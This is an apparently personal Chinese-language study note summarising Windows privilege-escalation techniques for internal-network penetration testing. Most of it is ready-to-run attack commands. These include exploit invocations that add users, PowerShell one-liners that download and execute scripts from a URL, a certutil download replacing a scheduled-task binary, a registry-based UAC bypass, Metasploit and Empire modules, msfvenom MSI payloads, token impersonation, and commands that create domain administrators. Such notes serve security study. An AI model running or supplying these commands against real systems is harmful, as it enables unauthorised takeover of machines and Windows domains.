windows提权总结
菜鸡萌新一枚,最近学习内网,进行记录总结~~~~
windows权限
User,Administrator,System,TrustedInstaller
纵向提权,横向提权
方法:
内存溢出漏洞,数据库提权,错误的系统配置,组策略首选项,web中间件,dll权限劫持,溢出高权限令牌,第三方软件。
一、系统内核溢出
1、发现补丁
whoami/groups 查看当前权限
systeminfo 查看补丁
wmic qfe get Caption,Description,HotFixID,InstalledON
补丁编号和EXP编号对比
补丁编号 | EXP编号 |
---|---|
KiTrap0D | KB979682 |
MS11-011 | KB2393802 |
MS11-080 | KB2592799 |
MS10-021 | KB979683 |
MS16-032 | KB3139914 |
Powershell中的Invoke-Ms16-032.ps1提权
Invoke-Ms16-032 -application cmd.exe -commandline "/c net user 1 1 /add"
2、msf中post/windows/gather/enum_patches/
/post/multi/recon/local_exploit_suggester
3、Windows Exploit Suggester
将已安装补丁程序和微软漏洞数据库比较,并识别权限提升程序。
将补丁信息导入文件
systeminfo > syteminfo.txt
进行对比
python windows-exploit-suggester.py -d 1.xls -i syteminfo.txt
自动下载微软官方安全公告数据库,以excel格式保存
python windows-exploit-suggester.py -update
安装xlrd模块
pip install xlrd --upgrade
4、Powershell中的Sherlock脚本
Import-Module .\Sherlock.ps1
Find-AllVulns
Cobalt Strike 3.6新增elevate功能,直接“elevate ms14-058 smb” 之后getuid可查看为system权限。
二、windows操作系统配置错误利用
常见系统配置错误提权:管理员凭证配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等
1、系统服务权限配置错误
- windows系统服务文件在启动时加载和执行, 低权限用户拥有写权限,可重启提权。
- 正在运行无法停止的服务:常见场景 dll劫持技术 重启提权
powershell
powershell中powerup脚本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
powershell -exec bypass -c "& {import-module .\PowerUp.ps1;Invoke-Allchecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://powerup.ps1'); Invoke-AllChecks"
AbuseFuncation为利用方式,检测相应服务漏洞,Path为该服务可执行程序的路径。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://powerup.ps1'); Install-ServiceBinary -ServerName '1111' -UserName test009 -Password test009
之后重启系统,该服务停止运行并自动添加用户。
Metasploit利用
post/windows/escalate/service_permissions
2、注册表键AlwaysInstallElevated
AlwaysInstallElevated是一个组策略配置,将允许普通用户以SYSTEM权限安装文件(msi)。
PathsAlwaysInstallElevated原因
用户开启windows installer特权安装功能
组策略中计算机配置和用户配置下的windows installer永远以高特权运行
reg add HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
windows installer 管理和软件配置服务。管理软件安装,组件添加与删除、监控文件的还原、回滚进行灾难备份。
- 客户端安装服务(Msiexec.exe):用于安装MSI文件包含的程序。
- MSI文件: windows installer的数据包,实际为数据库。包含安装卸载需要大量指令和数据。
双击MSI文件就运行Msiexec.exe
PowerUp利用
检测AlwaysInstallElevated,返回true启用
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://powerup.ps1'); Get-RegistryAlwaysInstallElevated
运行Write-UserAddMSI模块,生成MSI文件。
Write-UserAddMSI
以普通用户权限运行UserAdd.msi添加管理员账户
msiexec /q /i UserAdd.msi
msf利用
exploit/windows/local/always_install_elevated模块,设置完成运行run,会返回system权限meterpreter。提权后会删除已部署文件。
???
msfvenom -p windows/adduser USER=cat PASS=cat -f msi >adduser.msi
禁用AlwaysInstallElevated就可阻止MSI提权。
3、可信任服务路径漏洞提权
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
- 路径与服务有关,就任意创建一个服务或者编译Service模板。
- 路径与可执行文件有关,就任意创建一个可执行文件。
原因
windows服务通常以system权限运行,so在执行服务对应带空格的文件路径时,也会以系统权限运行。
如文件路径"C:\Program Files\Some Folder\Service.exe"中windows会依次尝试确定和执行以下程序:
- C:\Program.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Service.exe
一个“适当”程序上传到受影响目录,当服务重启就会以System权限运行(通常)
利用
检测没有加引号的服务路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
检查对有漏洞目录是否有写入的权限
icacls “文件路径”
Everyone:(OI)(CI)(F) 对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
上传后重启服务
sc stop service_name
sc start service_name
也可以用msf攻击
trusted_service_path模块
反弹新的meterpreter,因为一个进程启动后需要和服务控制管理器进行通信,未通信可能会终止进程,可以使用set AutoRunScript migrate -f 自动迁移进程
4、自动安装配置文件
自动化配置环境时可能存在配置文件,会包含本地管理员账号及密码
dir /b /s c:\Unattend.xml/sysprep.inf/sysprep.xml
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep\Unattend.xml
C:\Windows\system32\sysprep\Panther\Unattend.xml
msf中post/windows/gather/enum_unattend
5、计划任务
查看高权限的计划任务
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
查看目录配置情况,是否有写权限。
accesschk64.exe -dqv "C:\Microsoft" -accepteula
accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task\1.exe
列出某个驱动器下所有权限配置有缺陷的文件夹
accesschk64.exe -uwdqs Users c:\*.*
accesschk64.exe -uwdqs "Authenticated Users" c:\*.*
列出某个驱动器下所有权限配置有缺陷的文件
accesschk64.exe -uwqs Users c:\*.*
accesschk64.exe -uwqs "Authenticated Users" c:\*.*
替换meterptershell
certutil -urlcache -split -f "http://ip/1.exe" C:\ScheduledTasks\Task\1.exe
6、empire
内置powerup,其中allchecks模块和powersploit下的powerup中invoke-allchecks模块一样,检测系统中漏洞
usemodule powershell/privesc/powerup/allchecks
execute
三、组策略首选项提权
SYSVOL是AD中存储域公共文件服务器副本的共享文件夹,在所有域控制器间复制。安装AD时自动创建,存放登录脚本、组策略数据以及其他域控制器需要的域信息。自动同步共享;存放在C:\Windows\SYSVOL\DOMAIN\Policies目录中。
通常域环境中,所有机器脚本批量部署,使用域策略进行统一配置管理。组织接入域环境会要求使用域用户密码登陆。密码相同时会存在风险。
组策略首选项(Group Policy Preferences,GPP)
1、PowerShell
powershell import-modulo .\Get-GPPpassword.ps1;
Get-GppPassword
2、MSF
use post/windows/gather/credentials/gpp
3、empire
usemodule privesc/gpp
除了Groups.xml,存在cpassword属性的组策略首选项文件。
- Services\Services.xml
- ScheduledTasks\ScheduledTasks.xml
- Printers\Printers.xml
- Drives\Drives.xml
- DataSources\DataSources.xml
四、绕过UAC
UAC(User Account Control,用户账号控制)认证;访问磁盘根目录、Windows目录,以及读写系统登录数据库等操作。
ByPass UAC的几种方式
1.白名单提权机制 - autoElevate /具有autoElevate属性True的应用程序会在启动时自动提升权限
2.DLL 劫持
3.Windows 自身漏洞提权
4.远程注入
5.COM 接口技术
autoElevate利用
利用
寻找具有autoElevate属性True的应用程序,然后利用即可
比如常见的fodhelper.exe、eventvwr.exe都具有具有autoElevate属性True
执行即可提权
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
MSF
use exploit/windows/local/bypassuac #创建多个文件,容易被拦截。
use exploit/windows/local/bypassuac_injection #在内存的反射DLL中执行。
use exploit/windows/local/bypassuac_fodhelper #通过FodHelper注册表项来绕过
use exploit/windows/local/bypassuac_comhijack #劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC
use exploit/windows/local/bypassuac_comhijack #通过在hkcu配置单元中创建COM处理程序注册表项来
exploit/windows/local/ask模块,前提当前用户必须在管理员组中或知道管理员的密码,对UAC的设置则没有要求,需要使用 EXE::Custom 选项创建一个可执行文件(需要免杀),目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell。
Nisahng
Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC。
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose #使用sysprep方法并执行默认的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose #使用oobe方法并执行默认的payload
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -Payload "Powershell -windowstyle hidden -e YourEncodeedPayload" #使用-Payload可自行制定要执行的payload
Empire
- privesc/bypassuac
- privesc/bypassuac_env
- privesc/bypassuac_eventvwr
- privesc/bypassuac_fodhelper
- privesc/bypassuac_sdctlbypass
- privesc/bypassuac_tokenmanipulation
- privesc/bypassuac_wscript
五、令牌窃取
伪造令牌攻击核心是Kerberos协议。
windows认证还是看倾旋大佬总结的吧。真的很不错!
MSF
令牌窃取
use incognito
list_tokens -u
impersonate_token \\用户
或者steal_token域管pid即可获取域控。
或者在ps中发现域管理进行,利用migrate迁移,然后进入shell,添加新域管即可
net user new123 new123 /ad /domain #添加域用户
net group "domain admins" new123 /ad /domain #用户添加到域管理员组
查看即可
net group "domain admins" /domain
meterpreter中使用incognito模拟域管理员,通过迭代系统中所有可用令牌添加域管理员
add_user shuteer xy@china110 -h 1.1.1.2 #在meterpreter会话中在域控主机添加用户
add_group_user "Domain Admins" shuteer -h 1.1.1.2 #添加账户到域管理员组
Empire
内置mimikatz,pth其中的creds id即可
也可ps查看是否有域用户进程,steal_token获取令牌
获取后执行“revtoself”恢复令牌权限
Rotten potato
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
meterpreter > execute -HC -f rottenpotato.exe
meterpreter > impersonate_token \\用户
六、无凭证条件下提权
https://www.cnblogs.com/catt1e/p/12730581.html#无凭证条件下的权限获取分析及防范
进入目标网络,无任何凭证,使用LLMNR和NetBIOS欺骗渗透
LLMNR和NetBIOS欺骗概念
LLMNR 本地链路多播名称解析 是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到DNS服务器恢复为止。从Windows Vista 版本开始支持LLMNR,LLMNR支持IPv6.。
NetBIOS 是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS协议广播获得计算机名称,并将其解析为相应的IP地址)。在Windows NT以后版本的所有操作系统中均可使用NetBIOS。NetBIOS不支持IPv6。
NTLM Hash是指Windows 操作系统的Secutiry Account Manager 中保存的用户密码的散列值。NTLM Hash通常保存在Windows的SAM文件或者NTDS.DIT数据库中,用于对访问资源的用户进行身份验证。
Net-NTLM Hash是指在网络环境中经过NTML认证的散列值。使用Responder抓取的通常就是Net-NTLM Hash。
LLMNR和NetBIOS欺骗攻击
Responder工具是监听LLMNR和NBT-NS协议工具之一。内置SMB、MSSQL、HTTP、HTTPS、LDAP、DNS、WPAD代理服务器以及FTP、POP3、IMAP、SMTP等服务器。
假设目标网络的DNS服务器发生故障而无法提供服务时,会退回LLMNR和NBT-NS进行计算机名称解析。
Responder是监听LLMNR和NBT-NS协议的工具之一,能抓取网络中所有的LLMNR和NBT-NS请求并进行响应,获取最初的账户凭证。
在渗透测试中,使用Responder并启动回应请求功能,Responder会自动回应客户端的请求并声明自己就是被输入了错误计算机名的那台机器,然后尝试建立SMB连接。客户端会发送自己的Net-NTLM Hash进行身份验证,此时将得到目标机器的Net-NTLM Hash。